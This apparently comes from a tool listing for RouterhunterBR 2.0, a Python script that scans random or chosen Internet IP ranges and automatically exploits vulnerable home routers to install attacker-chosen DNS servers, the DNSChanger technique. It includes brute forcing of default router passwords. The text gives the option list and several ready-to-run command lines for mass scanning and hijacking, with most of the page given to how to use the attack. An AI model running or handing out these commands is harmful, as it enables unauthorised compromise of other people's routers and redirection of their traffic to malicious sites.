RouterhunterBR 2.0 - Automated Tool for Testing in Vulnerable Routers

The RouterhunterBR is an automated security tool que finds vulnerabilities and performs tests on routers and vulnerable devices on the Internet. The RouterhunterBR was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

The DNSChanger is a trojan able to direct user requests to illegal sites. In practice, this malware has the ability to change the DNS settings of our machine redirecting the user to sites with malicious purposes. Imagine for example that your system is infected with this malware, what might happen is that the user to access a particular site (eg. Facebook.com) may be forwarded to an unsolicited website and potentially illegal.

The script explores four vulnerabilities in routers


import sys, os, argparse, itertools, requests, random, time, threading, base64, socket
from datetime import datetime


  -range, --range  Set range of IP
-bruteforce, --bruteforce Performs brute force with users and passwords standards, and soon after defines the malicious DNS.
-startip 192.168.*.*, --startip 192.168.*.* Start - IP range customized with wildcard / 201.*.*.*
-endip 192.168.*.*, --endip 192.168.*.* End - IP range customized with wildcard / 201.*.*.*
-dns1, --dns1 Define malicious dns1
-dns2, --dns2 Define malicious dns2
--threads 10 Set threads numbers
-rip, --randomip Randomizing ips routers
-lmtip 10, --limitip 10 Define limite random ip


Random ips
python routerhunter.py --dns1 --dns2 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 --dns2 -rip -lmtip 10 --threads 10
Scanner in range ip:
python routerhunter.py --dns1 --dns2 --range --threads 10
IP range customized with wildcard / Ex: --startip 201.*.*.* - --endip 201.*.*.*
python routerhunter.py --dns1 --dns2 --startip 192.168.*.* --endip 192.168.*.* --threads 10
Brute force with users and passwords on routers that requires authentication, forcing alteration of dns - DSLink 260E.
python routerhunter.py --dns1 --dns2 --range --bruteforce --threads 10

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